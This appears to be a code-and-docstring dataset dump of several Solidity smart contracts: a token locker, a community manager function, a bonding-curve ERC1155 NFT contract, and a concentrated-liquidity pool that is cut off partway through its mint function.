file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
pragma solidity ^0.4.13; contract StandardContract { // allows usage of "require" as a modifier modifier requires(bool b) { require(b); _; } // require at least one of the two conditions to be true modifier requiresOne(bool b1, bool b2) { require(b1 || b2); _; } modifier notNull(address a) { require(a != 0); _; } modifier notZero(uint256 a) { require(a != 0); _; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!rentrancy_lock); rentrancy_lock = true; _; rentrancy_lock = false; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = 0x0; } } contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ function HasNoEther() payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } /* * A SingleTokenLocker allows a user to create a locker that can lock a single type of ERC20 token. * The token locker should: * - Allow the owner to prove a certain number of their own tokens are locked for until a particular time * - Allow the owner to transfer tokens to a recipient and prove the tokens are locked until a particular time * - Allow the owner to cancel a transfer before a recipient confirms (in case of transfer to an incorrect address) * - Allow the recipient to be certain that they will have access to transferred tokens once the lock expires * - Be re-usable by the owner, so an owner can easily schedule/monitor multiple transfers/locks * * This class should be reusable for any ERC20 token. Ideally, this sort of fine grained locking would be available in * the token contract itself. Short of that, the token locker receives tokens (presumably from the locker owner) and * can be configured to release them only under certain conditions. * * Usage: * - The owner creates a token locker for a particular ERC20 token type * - The owner approves the locker up to some number of tokens: token.approve(tokenLockerAddress, tokenAmount) * - Alternately, the owner can send tokens to the locker. When locking tokens, the locker checks its balance first * - The owner calls "lockup" with a particular recipient, amount, and unlock time. The recipient will be allowed * to collect the tokens once the lockup period is ended. * - The recipient calls "confirm" which confirms that the recipient&#39;s address is correct and is controlled by the * intended recipient (e.g. not an exchange address). The assumption is that if the recipient can call "confirm" * they have demonstrated that they will also be able to call "collect" when the tokens are ready. * - Once the lock expires, the recipient calls "collect" and the tokens are transferred from the locker to the * recipient. * * An owner can lockup his/her own tokens in order to demonstrate the they will not be moved until a particular time. * In this case, no separate "confirm" step is needed (confirm happens automatically) * * The following diagram shows the actual balance of the token locker and how it is tracked internally * * +-------------------------------------------------------------+ * | Actual Locker Balance | * |-------------------------------------------------------------| * | | Promised | * State | Uncommitted +---------------------------------------| * | | Pending | Locked | * |---------------------+---------------------------------------| * Actions| withdraw | confirm, cancel, collect | collect | * |---------------------+---------------------------+-----------| * Field | balance - promised | promised - locked | locked | * +---------------------+---------------------------+-----------+ */ contract SingleTokenLocker is Claimable, ReentrancyGuard, StandardContract, HasNoEther { using SafeMath for uint256; // the type of token this locker is used for ERC20 public token; // A counter to generate unique Ids for promises uint256 public nextPromiseId; // promise storage mapping(uint256 => TokenPromise) public promises; // The total amount of tokens locked or pending lock (in the non-fractional units, like wei) uint256 public promisedTokenBalance; // The total amount of tokens actually locked (recipients have confirmed) uint256 public lockedTokenBalance; // promise states // none: The default state. Never explicitly assigned. // pending: The owner has initiated a promise, but it has not been claimed // confirmed: The recipient has confirmed the promise // executed: The promise has completed (after the required lockup) // canceled: The promise was canceled (only from pending state) // failed: The promise could not be fulfilled due to an error enum PromiseState { none, pending, confirmed, executed, canceled, failed } // a matrix designating the legal state transitions for a promise (see constructor) mapping (uint => mapping(uint => bool)) stateTransitionMatrix; // true if the contract has been initialized bool initialized; struct TokenPromise { uint256 promiseId; address recipient; uint256 amount; uint256 lockedUntil; PromiseState state; } event logPromiseCreated(uint256 promiseId, address recipient, uint256 amount, uint256 lockedUntil); event logPromiseConfirmed(uint256 promiseId); event logPromiseCanceled(uint256 promiseId); event logPromiseFulfilled(uint256 promiseId); event logPromiseUnfulfillable(uint256 promiseId, address recipient, uint256 amount); /** * Guards actions that only the intended recipient should be able to perform */ modifier onlyRecipient(uint256 promiseId) { require(msg.sender == promises[promiseId].recipient); _; } /** * Ensures the promiseId as actually in use. */ modifier promiseExists(uint promiseId) { require(promiseId < nextPromiseId); _; } /** * Ensure state consistency after modifying lockedTokenBalance or promisedTokenBalance */ modifier thenAssertState() { _; uint256 balance = tokenBalance(); assert(lockedTokenBalance <= promisedTokenBalance); assert(promisedTokenBalance <= balance); } // Constructor function SingleTokenLocker(address tokenAddress) { token = ERC20(tokenAddress); allowTransition(PromiseState.pending, PromiseState.canceled); allowTransition(PromiseState.pending, PromiseState.executed); allowTransition(PromiseState.pending, PromiseState.confirmed); allowTransition(PromiseState.confirmed, PromiseState.executed); allowTransition(PromiseState.executed, PromiseState.failed); initialized = true; } /** * Initiates the request to lockup the given number of tokens until the given block.timestamp occurs. * This contract will attempt to acquire tokens from the Token contract from the owner if its balance * is not sufficient. Therefore, the locker owner may call token.approve(locker.address, amount) one time * and then initiate many smaller transfers to individuals. * * Note 1: lockup is not guaranteed until the recipient confirms. * Note 2: Assumes the owner has already given approval for the TokenLocker to take out the tokens * or that the locker&#39;s balance is sufficient */ function lockup(address recipient, uint256 amount, uint256 lockedUntil) onlyOwner notNull(recipient) notZero(amount) nonReentrant external { // if the locker does not have sufficient unlocked tokens, assume it has enough // approved by the owner to make up the difference ensureTokensAvailable(amount); // setup a promise that allow transfer to the recipient after the lock expires TokenPromise storage promise = createPromise(recipient, amount, lockedUntil); // auto-confirm if the recipient is the owner if (recipient == owner) { doConfirm(promise); } } /*** * @dev Cancels the pending transaction as long as the caller has permissions and the transaction has not already * been confirmed. Allowing *any* transaction to be canceled would mean no lockup could ever be guaranteed. */ function cancel(uint256 promiseId) promiseExists(promiseId) requires(promises[promiseId].state == PromiseState.pending) requiresOne( msg.sender == owner, msg.sender == promises[promiseId].recipient ) nonReentrant external { TokenPromise storage promise = promises[promiseId]; unlockTokens(promise, PromiseState.canceled); logPromiseCanceled(promise.promiseId); } // @dev Allows the recipient to confirm their address. If this fails (or they cannot send from the specified address) // the owner of the TokenLocker can cancel the promise and initiate a new one function confirm(uint256 promiseId) promiseExists(promiseId) onlyRecipient(promiseId) requires(promises[promiseId].state == PromiseState.pending) nonReentrant external { doConfirm(promises[promiseId]); } /*** * Called by the recipient after the lock has expired. */ function collect(uint256 promiseId) promiseExists(promiseId) onlyRecipient(promiseId) requires(block.timestamp >= promises[promiseId].lockedUntil) requiresOne( promises[promiseId].state == PromiseState.pending, promises[promiseId].state == PromiseState.confirmed ) nonReentrant external { TokenPromise storage promise = promises[promiseId]; unlockTokens(promise, PromiseState.executed); if (token.transfer(promise.recipient, promise.amount)) { logPromiseFulfilled(promise.promiseId); } else { // everything looked good, but the transfer failed. :( Now what? // There is no reason to think it will work the next time, so // reverting probably won&#39;t help here; the tokens would remain locked // forever. Our only hope is that the token owner will resolve the // issue in the real world. Since the amount has been deducted from the // locked and pending totals, it has effectively been returned to the owner. transition(promise, PromiseState.failed); logPromiseUnfulfillable(promiseId, promise.recipient, promise.amount); } } /*** * Withdraws the given number of tokens from the locker as long as they are not already locked or promised */ function withdrawUncommittedTokens(uint amount) onlyOwner requires(amount <= uncommittedTokenBalance()) nonReentrant external { token.transfer(owner, amount); } /*** * Withdraw all tokens from the wallet that are not locked or promised */ function withdrawAllUncommittedTokens() onlyOwner nonReentrant external { // not using withdrawUncommittedTokens(uncommittedTokenBalance()) // to have stronger guarantee on nonReentrant+external token.transfer(owner, uncommittedTokenBalance()); } // tokens can be transferred out by the owner if either // 1: The tokens are not the type that are governed by this contract (accidentally sent here, most likely) // 2: The tokens are not already promised to a recipient (either pending or confirmed) // // If neither of these conditions are true, then allowing the owner to transfer the tokens // out would violate the purpose of the token locker, which is to prove that the tokens // cannot be moved. function salvageTokensFromContract(address tokenAddress, address to, uint amount) onlyOwner requiresOne( tokenAddress != address(token), amount <= uncommittedTokenBalance() ) nonReentrant external { ERC20(tokenAddress).transfer(to, amount); } /*** * Returns true if the given promise has been confirmed by the recipient */ function isConfirmed(uint256 promiseId) constant returns(bool) { return promises[promiseId].state == PromiseState.confirmed; } /*** * Returns true if the give promise can been collected by the recipient */ function canCollect(uint256 promiseId) constant returns(bool) { return (promises[promiseId].state == PromiseState.confirmed || promises[promiseId].state == PromiseState.pending) && block.timestamp >= promises[promiseId].lockedUntil; } // @dev returns the total amount of tokens that are eligible to be collected function collectableTokenBalance() constant returns(uint256 collectable) { collectable = 0; for (uint i=0; i<nextPromiseId; i++) { if (canCollect(i)) { collectable = collectable.add(promises[i].amount); } } return collectable; } /*** * Return the number of transactions that meet the given criteria. To be used in conjunction with * getPromiseIds() * * recipient: the recipients address to use for filtering, or 0x0 to return all * includeCompleted: true if the list should include transactions that are already executed or canceled */ function getPromiseCount(address recipient, bool includeCompleted) public constant returns (uint count) { for (uint i=0; i<nextPromiseId; i++) { if (recipient != 0x0 && recipient != promises[i].recipient) continue; if (includeCompleted || promises[i].state == PromiseState.pending || promises[i].state == PromiseState.confirmed) count += 1; } } /*** * Return a list of promiseIds that match the given criteria * * recipient: the recipients address to use for filtering, or 0x0 to return all * includeCompleted: true if the list should include transactions that are already executed or canceled */ function getPromiseIds(uint from, uint to, address recipient, bool includeCompleted) public constant returns (uint[] promiseIds) { uint[] memory promiseIdsTemp = new uint[](nextPromiseId); uint count = 0; uint i; for (i=0; i<nextPromiseId && count < to; i++) { if (recipient != 0x0 && recipient != promises[i].recipient) continue; if (includeCompleted || promises[i].state == PromiseState.pending || promises[i].state == PromiseState.confirmed) { promiseIdsTemp[count] = i; count += 1; } } promiseIds = new uint[](to - from); for (i=from; i<to; i++) promiseIds[i - from] = promiseIdsTemp[i]; } /*** * returns the number of tokens held by the token locker (some might be promised or locked) */ function tokenBalance() constant returns(uint256) { return token.balanceOf(address(this)); } /*** * returns the number of tokens that are not promised or locked */ function uncommittedTokenBalance() constant returns(uint256) { return tokenBalance() - promisedTokenBalance; } /*** * returns the number of tokens that a promised by have not been locked (pending confirmation from recipient) */ function pendingTokenBalance() constant returns(uint256) { return promisedTokenBalance - lockedTokenBalance; } // ------------------ internal methods ------------------ // // @dev moves the promise to the new state and updates the locked/pending totals accordingly function unlockTokens(TokenPromise storage promise, PromiseState newState) internal { promisedTokenBalance = promisedTokenBalance.sub(promise.amount); if (promise.state == PromiseState.confirmed) { lockedTokenBalance = lockedTokenBalance.sub(promise.amount); } transition(promise, newState); } // @dev add a new state transition to the state transition matrix function allowTransition(PromiseState from, PromiseState to) requires(!initialized) internal { stateTransitionMatrix[uint(from)][uint(to)] = true; } // @dev moves the promise to the new state as long as it&#39;s permitted by the state transition matrix function transition(TokenPromise storage promise, PromiseState newState) internal { assert(stateTransitionMatrix[uint(promise.state)][uint(newState)]); promise.state = newState; } // @dev moves the promise to the confirmed state and updates the locked token total function doConfirm(TokenPromise storage promise) thenAssertState internal { transition(promise, PromiseState.confirmed); lockedTokenBalance = lockedTokenBalance.add(promise.amount); logPromiseConfirmed(promise.promiseId); } /*** * @dev creates and stores a new promise object, updates the promisedTokenBalance */ function createPromise(address recipient, uint256 amount, uint256 lockedUntil) requires(amount <= uncommittedTokenBalance()) thenAssertState internal returns(TokenPromise storage promise) { uint256 promiseId = nextPromiseId++; promise = promises[promiseId]; promise.promiseId = promiseId; promise.recipient = recipient; promise.amount = amount; promise.lockedUntil = lockedUntil; promise.state = PromiseState.pending; promisedTokenBalance = promisedTokenBalance.add(promise.amount); logPromiseCreated(promiseId, recipient, amount, lockedUntil); return promise; } /** * @dev Checks the uncommitted balance to ensure there the locker has enough tokens to guarantee the * amount given can be promised. If the locker&#39;s balance is not enough, the locker will attempt to transfer * tokens from the owner. */ function ensureTokensAvailable(uint256 amount) onlyOwner internal { uint256 uncommittedBalance = uncommittedTokenBalance(); if (uncommittedBalance < amount) { token.transferFrom(owner, this, amount.sub(uncommittedBalance)); // Just assert that the condition we really care about holds, rather // than relying on the return value. see GavCoin and all the tokens copy/pasted therefrom. assert(uncommittedTokenBalance() >= amount); } } }
Return the number of transactions that meet the given criteria. To be used in conjunction with getPromiseIds() recipient: the recipients address to use for filtering, or 0x0 to return all includeCompleted: true if the list should include transactions that are already executed or canceled/
function getPromiseCount(address recipient, bool includeCompleted) public constant returns (uint count) { for (uint i=0; i<nextPromiseId; i++) { if (recipient != 0x0 && recipient != promises[i].recipient) continue; if (includeCompleted || promises[i].state == PromiseState.pending || promises[i].state == PromiseState.confirmed) count += 1; } }
2,016,842
./full_match/44787/0xb93f207230A44C212faCA713Dd76dC03410e7fd8/sources/contracts/community/Community.sol
Remove an existing manager account_ address of the manager to be removed/
function removeManager(address account_) external override onlyManagers { require( hasRole(MANAGER_ROLE, account_), "Community::removeManager: This account doesn't have manager role" ); require( account_ != address(communityAdmin), "Community::removeManager: You are not allow to remove communityAdmin" ); super.revokeRole(MANAGER_ROLE, account_); emit ManagerRemoved(msg.sender, account_); }
13,243,038
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "../../utils/Whitelistable.sol"; import "../../rarible/impl/RoyaltiesV2Impl.sol"; import "../../interfaces/IInflow1155BC.sol"; import "../../interfaces/ISocialToken.sol"; import "../../libraries/BondingCurveMath.sol"; import "../../libraries/FeeLib.sol"; contract Inflow1155BC is IInflow1155BC, ERC1155, ReentrancyGuard, Whitelistable, RoyaltiesV2Impl { using SafeERC20 for IERC20; using Counters for Counters.Counter; using FeeLib for uint256; ///////////////////////// /// STORAGE VARIABLES /// ///////////////////////// /// @dev Lock for contract accounts minting tokens bool private _contractMintEnabled; /// @dev Collateral token contract IERC20 public collateral; /// @dev Price to create an original token uint256 public createPrice = 50e6; /// @dev Funds reserved for burns uint256 public reserve; /// @dev TokenId counter Counters.Counter private _tokenIds; /// @dev Maps tokenId to Token struct mapping(uint256 => Token) private _tokens; /// @dev Base uri prepended to all token uris string public baseUri; constructor(address _collateral) ERC1155("") { collateral = IERC20(_collateral); } //////////////////////////////// /// EXTERNAL TOKEN FUNCTIONS /// //////////////////////////////// /// @dev Create an original token /// @param data (CreateData calldata): Struct containing data for minting origintal token /// @return tokenId (uint256): TokenId of minted token function create(CreateData calldata data) external override nonReentrant onlyWhitelist returns (uint256 tokenId) { data.curve == Curve.Const ? require(data.price > 0, "Inflow1155BC: needs non-zero price") : require(data.price == 0, "Inflow1155BC: needs zero price"); require(data.maxSupply > 0, "Inflow1155BC: invalid max supply"); require( data.royalties.length <= 16, "Inflow1155BC: invalid royalties length" ); _tokenIds.increment(); tokenId = _tokenIds.current(); Token storage token = _tokens[tokenId]; token.curve = data.curve; token.creator = msg.sender; token.social = ISocialToken(data.social); token.price = data.price; token.socialBalance = data.socialBalance; token.maxSupply = data.maxSupply; token.supply.increment(); token.uri = data.uri; _saveRoyalties(tokenId, data.royalties); _mint(msg.sender, tokenId, 1, ""); reserve += (createPrice * 85) / 100; collateral.safeTransferFrom(msg.sender, address(this), createPrice); emit Created( msg.sender, tokenId, data.curve, data.social, data.price, data.socialBalance, data.maxSupply, data.uri ); } /// @dev Mint a token /// @notice Contracts can bypass check if mint is called from a constructor /// @param tokenId (uint256): Numeric identifier of token function mint(uint256 tokenId) external override nonReentrant { if (Address.isContract(msg.sender)) { require( _contractMintEnabled, "Inflow1155BC: minting from contracts disabled" ); } Token storage token = _tokens[tokenId]; require( token.social.balanceOf(msg.sender) >= token.socialBalance, "Inflow1155BC: insufficient social token balance" ); token.supply.increment(); uint256 newSupply = token.supply.current(); uint256 mintPrice = token.curve == Curve.Const ? token.price : getMintPrice(token.curve, newSupply); uint256 burnPrice = token.curve == Curve.Const ? (mintPrice * 85) / 100 : getBurnPrice(token.curve, newSupply); reserve += burnPrice; uint256 creatorFee = getCreatorFee(mintPrice - burnPrice); _mint(msg.sender, tokenId, 1, ""); IERC20 _collateral = collateral; _collateral.safeTransferFrom(msg.sender, address(this), mintPrice); _transferCreatorFee(tokenId, creatorFee); emit Minted( msg.sender, tokenId, mintPrice, token.curve == Curve.Const ? token.price : getMintPrice(token.curve, newSupply + 1), burnPrice, newSupply, creatorFee, reserve, token.creator ); } /// @dev Burn a token /// @param tokenId (uint256): Numeric identifier of token /// @param minimumSupply (uint256): The minimum token supply for burn to succeed, this is a way to set slippage. Set minimumSupply to 1 to allow burn to go through no matter the mint price function burn(uint256 tokenId, uint256 minimumSupply) external override nonReentrant { Token storage token = _tokens[tokenId]; require(token.creator != address(0), "Inflow1155BC: token does not exist"); uint256 supply = token.supply.current(); require(supply >= minimumSupply, "Inflow1155BC: invalid minimum supply"); uint256 burnPrice = token.curve == Curve.Const ? (token.price * 85) / 100 : getBurnPrice(token.curve, supply); token.supply.decrement(); uint256 newSupply = token.supply.current(); reserve -= burnPrice; if (newSupply == 0) delete _tokens[tokenId]; _burn(msg.sender, tokenId, 1); collateral.safeTransfer(msg.sender, burnPrice); emit Burned( msg.sender, tokenId, burnPrice, token.curve == Curve.Const ? token.price : getMintPrice(token.curve, supply), token.curve == Curve.Const ? (token.price * 85) / 100 : getBurnPrice(token.curve, newSupply), newSupply, reserve ); } //////////////////////////////////// /// EXTERNAL ROYALTIES FUNCTIONS /// //////////////////////////////////// /// @dev Update address of a royalty account /// @notice Sender must be current royalty account /// @param tokenId (uint256): Numeric identifier of token /// @param from (address): Old royalty account's address /// @param to (address): New royalty account's address function updateRoyaltyAccount( uint256 tokenId, address from, address to ) external override { require(msg.sender == from, "Inflow1155BC: only current royalty account"); _updateAccount(tokenId, from, to); } ///////////////////////////////// /// EXTERNAL GETTER FUNCTIONS /// ///////////////////////////////// /// @dev Returns Token struct at tokenId /// @param tokenId (uint256): Numeric identifier of token /// @return (Token memory): Token struct at tokenId function getToken(uint256 tokenId) external view override returns (Token memory) { require(tokenId > 0, "Inflow1155BC: getToken query for tokenId zero"); return _tokens[tokenId]; } //////////////////////////////// /// EXTERNAL ADMIN FUNCTIONS /// //////////////////////////////// /// @dev Withdraw earned funds from create and mint fees /// @notice Cannot withdraw the reserve funds function withdraw() external override onlyOwner nonReentrant { IERC20 _collateral = collateral; uint256 withdrawableFunds = _collateral.balanceOf(address(this)) - reserve; _collateral.safeTransfer(msg.sender, withdrawableFunds); } /// @dev Set the price for minting an original token /// @param price (uint256): New price to mint an original token function setCreatePrice(uint256 price) external override onlyOwner { createPrice = price; } /// @dev Enable/disable mint from a contract /// @param enabled (bool): Flag to turn mint from a contract on or off function setContractMintEnabled(bool enabled) external override onlyOwner { _contractMintEnabled = enabled; } /// @dev Set the base uri for all tokens /// @param _baseUri (string calldata): New base uri string /// Prepended to result of {uri} or to the tokenId if {_tokens[tokenId].uri} is empty function setBaseUri(string calldata _baseUri) external override onlyOwner { baseUri = _baseUri; } ////////////////////////////// /// PUBLIC PRICE FUNCTIONS /// ////////////////////////////// /// @dev Calculate price of next minted token /// @param curve (Curve): Bonding curve id /// @param supply (uint256): The token supply after then next minting Ex. if there are 2 existing images, and you want to get the next image price, then this should be 3 as you are getting the price to mint the 3rd image /// @return price (uint256): Calculated price for given curve and supply function getMintPrice(Curve curve, uint256 supply) public pure override returns (uint256 price) { if (curve == Curve.Lin) price = BondingCurveMath.lin(supply); else if (curve == Curve.Exp) price = BondingCurveMath.exp(supply); price *= 1e6; } /// @dev Calculate funds received on burn /// @param curve (Curve): Bonding curve id /// @param supply (uint256): The supply of images before burning. Ex. if there are 2 existing images, to get the funds receive on burn the supply should be 2 /// @return uint256 function getBurnPrice(Curve curve, uint256 supply) public pure override returns (uint256) { uint256 mintPrice = getMintPrice(curve, supply); return (mintPrice * 85) / 100; } /// @dev Calculate creator's royalty /// @param fee (uint256): Total fee frm which to calculate creator's royalty fee /// @return (uint256): Creator's royalty function getCreatorFee(uint256 fee) public pure override returns (uint256) { return (fee * 8) / 10; } //////////////////////////// /// PUBLIC URI FUNCTIONS /// //////////////////////////// /// @dev Returns token's uri /// @param tokenId (uint256): Numeric identifier of token /// @return _uri (string memory) function uri(uint256 tokenId) public view virtual override returns (string memory _uri) { Token memory token = _tokens[tokenId]; require(token.creator != address(0), "Inflow1155BC: token does not exist"); string memory base = baseUri; if (bytes(base).length == 0) { _uri = token.uri; } else if (bytes(token.uri).length > 0) { _uri = string(abi.encodePacked(base, token.uri)); } else { _uri = string(abi.encodePacked(base, Strings.toString(tokenId))); } } ////////////////////////////////////// /// PUBLIC INTROSPECTION FUNCTIONS /// ////////////////////////////////////// /// @dev Checks if contract supports interface /// @param interfaceId (bytes4): Interface selector /// @return bool function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, IERC165) returns (bool) { return ERC1155.supportsInterface(interfaceId); } ////////////////////////// /// INTERNAL FUNCTIONS /// ////////////////////////// /// @dev Transfer creator fees /// @param tokenId (uint256): Numeric identifier of token /// @param creatorFee (uint256): Total fee owed to creator(s) function _transferCreatorFee(uint256 tokenId, uint256 creatorFee) internal { LibPart.Part[] memory fees = royalties[tokenId]; uint256 owed = creatorFee; IERC20 _collateral = collateral; for (uint256 i = 0; i < fees.length; i++) { (uint256 remaining, uint256 fee) = owed.subFeeInBp( creatorFee, fees[i].value ); owed = remaining; if (fee > 0) _collateral.safeTransfer(fees[i].account, fee); } } }
Calculate funds received on burn curve (Curve): Bonding curve id supply (uint256): The supply of images before burning. Ex. if there are 2 existing images, to get the funds receive on burn the supply should be 2 return uint256
function getBurnPrice(Curve curve, uint256 supply) public pure override returns (uint256) { uint256 mintPrice = getMintPrice(curve, supply); return (mintPrice * 85) / 100; }
14,079,065
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "../../interfaces/IBentoBoxMinimal.sol"; import "../../interfaces/IMasterDeployer.sol"; import "../../interfaces/IPool.sol"; import "../../interfaces/concentratedPool/IPositionManager.sol"; import "../../interfaces/ITridentCallee.sol"; import "../../interfaces/ITridentRouter.sol"; import "../../libraries/concentratedPool/FullMath.sol"; import "../../libraries/concentratedPool/TickMath.sol"; import "../../libraries/concentratedPool/UnsafeMath.sol"; import "../../libraries/concentratedPool/DyDxMath.sol"; import "../../libraries/concentratedPool/SwapLib.sol"; import "../../libraries/concentratedPool/Ticks.sol"; /// @notice Trident exchange pool template implementing concentrated liquidity for swapping between an ERC-20 token pair. /// @dev Amounts are considered to be in Bentobox shared contract ConcentratedLiquidityPool is IPool { using Ticks for mapping(int24 => Ticks.Tick); event Mint(address indexed owner, uint256 amount0, uint256 amount1); event Burn(address indexed owner, uint256 amount0, uint256 amount1); event Collect(address indexed sender, uint256 amount0, uint256 amount1); event Sync(uint256 reserveShares0, uint256 reserveShares1); bytes32 public constant override poolIdentifier = "Trident:ConcentratedLiquidity"; uint24 internal constant MAX_FEE = 100000; /// @dev Maximum `swapFee` is 10%. /// @dev References for tickSpacing: /// 100 tickSpacing -> 2% between ticks. uint24 internal immutable tickSpacing; uint24 internal immutable swapFee; /// @dev 1000 corresponds to 0.1% fee. Fee is measured in pips. uint128 internal immutable MAX_TICK_LIQUIDITY; address internal immutable barFeeTo; IBentoBoxMinimal internal immutable bento; IMasterDeployer internal immutable masterDeployer; address internal immutable token0; address internal immutable token1; uint128 public liquidity; uint160 internal secondsGrowthGlobal; /// @dev Multiplied by 2^128. uint32 internal lastObservation; uint256 public feeGrowthGlobal0; /// @dev All fee growth counters are multiplied by 2^128. uint256 public feeGrowthGlobal1; uint256 public barFee; uint128 internal token0ProtocolFee; uint128 internal token1ProtocolFee; uint128 internal reserve0; /// @dev `bento` share balance tracker. uint128 internal reserve1; uint160 internal price; /// @dev Sqrt of price aka. √(y/x), multiplied by 2^96. int24 internal nearestTick; /// @dev Tick that is just below the current price. uint256 internal unlocked; mapping(int24 => Ticks.Tick) public ticks; mapping(address => mapping(int24 => mapping(int24 => Position))) public positions; struct Position { uint128 liquidity; uint256 feeGrowthInside0Last; uint256 feeGrowthInside1Last; } struct SwapCache { uint256 feeAmount; uint256 totalFeeAmount; uint256 protocolFee; uint256 feeGrowthGlobal; uint256 currentPrice; uint256 currentLiquidity; uint256 input; int24 nextTickToCross; } struct MintParams { int24 lowerOld; int24 lower; int24 upperOld; int24 upper; uint256 amount0Desired; uint256 amount1Desired; bool token0native; bool token1native; address positionOwner; // To mint an NFT the positionOwner should be set to the positionManager contract. address positionRecipient; uint256 positionId; } /// @dev Error list to optimize around pool requirements. error Locked(); error ZeroAddress(); error InvalidToken(); error InvalidSwapFee(); error LiquidityOverflow(); error Token0Missing(); error Token1Missing(); error InvalidTick(); error LowerEven(); error UpperOdd(); error MaxTickLiquidity(); error Overflow(); modifier lock() { if (unlocked == 2) revert Locked(); unlocked = 2; _; unlocked = 1; } /// @dev Only set immutable variables here - state changes made here will not be used. constructor(bytes memory _deployData, IMasterDeployer _masterDeployer) { (address _token0, address _token1, uint24 _swapFee, uint160 _price, uint24 _tickSpacing) = abi.decode( _deployData, (address, address, uint24, uint160, uint24) ); if (_token0 == address(0)) revert ZeroAddress(); if (_token0 == address(this)) revert InvalidToken(); if (_token1 == address(this)) revert InvalidToken(); if (_swapFee > MAX_FEE) revert InvalidSwapFee(); token0 = _token0; token1 = _token1; swapFee = _swapFee; price = _price; tickSpacing = _tickSpacing; // Prevents global liquidity overflow in the case all ticks are initialised. MAX_TICK_LIQUIDITY = Ticks.getMaxLiquidity(_tickSpacing); ticks[TickMath.MIN_TICK] = Ticks.Tick(TickMath.MIN_TICK, TickMath.MAX_TICK, uint128(0), 0, 0, 0); ticks[TickMath.MAX_TICK] = Ticks.Tick(TickMath.MIN_TICK, TickMath.MAX_TICK, uint128(0), 0, 0, 0); nearestTick = TickMath.MIN_TICK; bento = IBentoBoxMinimal(_masterDeployer.bento()); barFeeTo = _masterDeployer.barFeeTo(); barFee = _masterDeployer.barFee(); masterDeployer = _masterDeployer; unlocked = 1; } /// @dev Mints LP tokens - should be called via the router after transferring `bento` tokens. /// The router must ensure that sufficient liquidity has been minted. function mint(bytes calldata data) public override lock returns (uint256 _liquidity) { MintParams memory mintParams = abi.decode(data, (MintParams)); uint256 priceLower = uint256(TickMath.getSqrtRatioAtTick(mintParams.lower)); uint256 priceUpper = uint256(TickMath.getSqrtRatioAtTick(mintParams.upper)); uint256 currentPrice = uint256(price); _liquidity = DyDxMath.getLiquidityForAmounts( priceLower, priceUpper, currentPrice, mintParams.amount1Desired, mintParams.amount0Desired ); unchecked { (uint256 amount0fees, uint256 amount1fees, ) = _updatePosition( mintParams.positionOwner, mintParams.lower, mintParams.upper, int128(uint128(_liquidity)) ); if (amount0fees > 0) { _transfer(token0, amount0fees, mintParams.positionOwner, false); reserve0 -= uint128(amount0fees); } if (amount1fees > 0) { _transfer(token1, amount1fees, mintParams.positionOwner, false); reserve1 -= uint128(amount1fees); } } unchecked { if (priceLower < currentPrice && currentPrice < priceUpper) liquidity += uint128(_liquidity); } _ensureTickSpacing(mintParams.lower, mintParams.upper); nearestTick = Ticks.insert( ticks, feeGrowthGlobal0, feeGrowthGlobal1, secondsGrowthGlobal, mintParams.lowerOld, mintParams.lower, mintParams.upperOld, mintParams.upper, uint128(_liquidity), nearestTick, uint160(currentPrice) ); (uint128 amount0Actual, uint128 amount1Actual) = DyDxMath.getAmountsForLiquidity( priceLower, priceUpper, currentPrice, _liquidity, true ); { ITridentRouter.TokenInput[] memory callbackData = new 